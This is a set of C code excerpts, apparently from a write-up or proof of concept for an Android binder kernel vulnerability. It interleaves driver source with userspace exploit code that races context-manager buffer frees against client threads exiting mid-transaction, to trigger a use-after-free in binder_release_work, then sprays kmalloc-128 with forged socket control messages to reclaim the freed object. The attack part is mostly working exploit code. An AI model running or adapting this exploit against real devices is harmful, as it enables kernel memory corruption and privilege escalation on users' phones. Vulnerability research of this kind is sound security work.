static void binder_release_work(struct binder_proc *proc,
				struct list_head *list)
{
	struct binder_work *w;

	while (1) {
		w = binder_dequeue_work_head(proc, list);
		if (!w)
			return;

		switch (w->type) {
			...
		}
	}
}

static bool binder_dec_node_nilocked(struct binder_node *node,
				     int strong, int internal)
{
	struct binder_proc *proc = node->proc;

	[...]

	} else {
		if (hlist_empty(&node->refs) && !node->local_strong_refs &&
		    !node->local_weak_refs && !node->tmp_refs) {
			if (proc) {
				// --> Dequeues the node from the thread->todo!
				binder_dequeue_work_ilocked(&node->work); 
				rb_erase(&node->rb_node, &proc->nodes);
				binder_debug(BINDER_DEBUG_INTERNAL_REFS,
					     "refless node %d deleted\n",
					     node->debug_id);
			}
			[...]
			return true;
		}
	}
	return false;
}

void __read_buffers_and_free(int fd) {
  /* The client sends its data, and we need to read the
   * buffer pointer in order to pass it in BC_FREE_BUFFER
   * for the race.
   */
  uint8_t read_buf[256] = {
      0,
  };
  struct binder_write_read bwr = {.read_size = sizeof(read_buf),
                                  .read_buffer = (uintptr_t)read_buf};
  ioctl(fd, BINDER_WRITE_READ, &bwr);

  /* Parse each command, and free 
   * every buffer passed.
   */
  uint8_t *cur = read_buf;
  uint8_t *end = read_buf + bwr.read_consumed;
  while (cur < end) {
    uint32_t cmd = *(uint32_t *)cur;
    cur += sizeof(uint32_t);
    if (cmd == BR_TRANSACTION) {
      struct binder_transaction_data *td =
          (struct binder_transaction_data *)cur;
      __free_buffer(fd, td->data.ptr.buffer);
    }

    cur += _IOC_SIZE(cmd);
  }
}

void _ctx_manager_race(void) {
  __pin_to_cpu(0);

  printf(INFO_PRINT "Initializing ctx mgr fd...\n");
  int fd = __binder_setup();
  __become_ctx_manager(fd);
  __enter_looper(fd);
  printf(INFO_PRINT "Became context manager, signaling client...\n");
  printf(INFO_PRINT "Server will now free every buffer it gets, good luck to us...\n");

  /* Signal client to initialize itself and sync */
  pipe_signal();

  for (;;) {
    __read_buffers_and_free(fd);
  }
}

void __send_multi_object_transaction(int fd, int target, uint64_t binder_base) {
  struct flat_binder_object objs[N_BINDER_OBJECTS];
  uint64_t offsets[N_BINDER_OBJECTS];

  for (int i = 0; i < N_BINDER_OBJECTS; i++) {
    objs[i] = (struct flat_binder_object){
        .hdr.type = BINDER_TYPE_BINDER,
        .flags = 0x7f | (1 << 8),
        .binder = binder_base + i,
        .cookie = 0,
    };
    offsets[i] = i * sizeof(struct flat_binder_object);
  }

  struct transaction_data data = {
      .cmd = BC_TRANSACTION,
      .tr.target.handle = target,
      .tr.code = 1,
      .tr.flags = TF_ONE_WAY,
      .tr.data_size = sizeof(objs),
      .tr.offsets_size = sizeof(offsets),
      .tr.data.ptr.buffer = (uintptr_t)objs,
      .tr.data.ptr.offsets = (uintptr_t)offsets,
  };

  struct binder_write_read bwr = {
      .write_size = sizeof(data),
      .write_buffer = (uintptr_t)&data,
  };

  ioctl(fd, BINDER_WRITE_READ, &bwr);
}

void *__client_thread_fn(void *arg) {
  uint64_t binder_base = (uint64_t)(uintptr_t)arg;
  for (;;) {
    int n_fd = dup(g_client_fd);
    __send_multi_object_transaction(n_fd, 0, binder_base);
    /* Race: close fd → binder_deferred_release → binder_release_work */
    ioctl(n_fd, BINDER_THREAD_EXIT, 0);
    close(n_fd);
  }
  return NULL;
}

void _client_race(void) {
  __pin_to_cpu(1);

  printf(INFO_PRINT "Initializing client fd...\n");
  g_client_fd = __binder_setup();
  pipe_wait();

  pthread_t threads[N_CLIENT_THREADS];
  for (int i = 0; i < N_CLIENT_THREADS; i++) {
    uint64_t base = 0xdeadbeef + 0x1000 * i;
    pthread_create(&threads[i], NULL, __client_thread_fn, (void *)(uintptr_t)base);
  }

  for (int i = 0; i < N_CLIENT_THREADS; i++) {
    pthread_join(threads[i], NULL);
  }
}

static void binder_release_work(struct binder_proc *proc,
                                struct list_head *list) {
  struct binder_work *w;

  while (1) {
    w = binder_dequeue_work_head(proc, list);

    if (!w)
      return;

    switch (w->type) {
    case BINDER_WORK_TRANSACTION: {
      struct binder_transaction *t;

      t = container_of(w, struct binder_transaction, work);

      binder_cleanup_transaction(t, "process died.", BR_DEAD_REPLY);
    } break;
    case BINDER_WORK_RETURN_ERROR: {
      struct binder_error *e = container_of(w, struct binder_error, work);

      binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
                   "undelivered TRANSACTION_ERROR: %u\n", e->cmd);
    } break;
    case BINDER_WORK_TRANSACTION_COMPLETE: {
      binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
                   "undelivered TRANSACTION_COMPLETE\n");
      kfree(w);
      binder_stats_deleted(BINDER_STAT_TRANSACTION_COMPLETE);
    } break;
    case BINDER_WORK_DEAD_BINDER_AND_CLEAR:
    case BINDER_WORK_CLEAR_DEATH_NOTIFICATION: {
      struct binder_ref_death *death;

      death = container_of(w, struct binder_ref_death, work);
      binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
                   "undelivered death notification, %016llx\n",
                   (u64)death->cookie);
      kfree(death);
      binder_stats_deleted(BINDER_STAT_DEATH);
    } break;
    default:
      pr_err("unexpected work type, %d, not freed\n", w->type);
      break;
    }
  }
}

void *__sender_thread_fn(void *arg) {
  int sock_idx = (int)(uintptr_t)arg;
  __pin_to_cpu(0);

  uint8_t ctl[SPRAY_SIZE];
  memset(ctl, 0, sizeof(ctl));
  struct cmsghdr *cmsg = (struct cmsghdr *)ctl;
  cmsg->cmsg_len = SPRAY_SIZE;
  cmsg->cmsg_level = 0;
  cmsg->cmsg_type = 0;
  *(uint32_t *)(ctl + 24) = BINDER_WORK_TRANSACTION;

  char b = 'x';
  struct iovec iov = {.iov_base = &b, .iov_len = 1};
  struct msghdr msg = {
      .msg_iov = &iov,
      .msg_iovlen = 1,
      .msg_control = ctl,
      .msg_controllen = sizeof(ctl),
  };

  unsigned int seed = (unsigned int)(uintptr_t)pthread_self();

  for (;;) {
    sendmsg(g_spray_socks[sock_idx][1], &msg, 0);
    usleep(rand_r(&seed) % MAX_GAP_US);
  }
  return NULL;
}

void *__drainer_thread_fn(void *arg) {
  (void)arg;
  unsigned int seed = 0xc0ffeeu;

  uint8_t buf[256];
  uint8_t cbuf[256];
  struct iovec iov = {.iov_base = buf, .iov_len = sizeof(buf)};
  struct msghdr msg = {
      .msg_iov = &iov,
      .msg_iovlen = 1,
      .msg_control = cbuf,
      .msg_controllen = sizeof(cbuf),
  };

  for (;;) {
    usleep(rand_r(&seed) % MAX_GAP_US);
    int idx = rand_r(&seed) % SPRAY_SOCKETS;
    recvmsg(g_spray_socks[idx][0], &msg, MSG_DONTWAIT);
  }
  return NULL;
}

void __spray_kmalloc_128(void) {
  char b = 'x';
  struct iovec iov = {.iov_base = &b, .iov_len = 1};
  struct msghdr fill = {.msg_iov = &iov, .msg_iovlen = 1};
	
  for (int i = 0; i < SPRAY_SOCKETS; i++) {
    assert(0 == socketpair(AF_UNIX, SOCK_DGRAM, 0, g_spray_socks[i]));
    while (sendmsg(g_spray_socks[i][1], &fill, MSG_DONTWAIT) >= 0)
      ;
  }

  pthread_attr_t attr;
  pthread_attr_init(&attr);
  pthread_attr_setstacksize(&attr, SPRAY_STACK_SIZE);

  pthread_t senders[SPRAY_THREADS];
  for (int i = 0; i < SPRAY_THREADS; i++) {
    int sock_idx = i / SPRAY_PER_SOCKET;
    pthread_create(&senders[i], &attr, __sender_thread_fn,
                   (void *)(uintptr_t)sock_idx);
  }

  pthread_t drainer;
  pthread_create(&drainer, &attr, __drainer_thread_fn, NULL);

  pthread_attr_destroy(&attr);
  usleep(100000); /* let every sender settle into sock_wait_for_wmem */
  printf(INFO_PRINT
         "Spraying kmalloc-128: %d senders across %d sockets, drainer "
         "cycling ≤ %d us\n",
         SPRAY_THREADS, SPRAY_SOCKETS, MAX_GAP_US);
}

void _client_race(void) {
  [...]
  __spray_kmalloc_128();
  [...]
}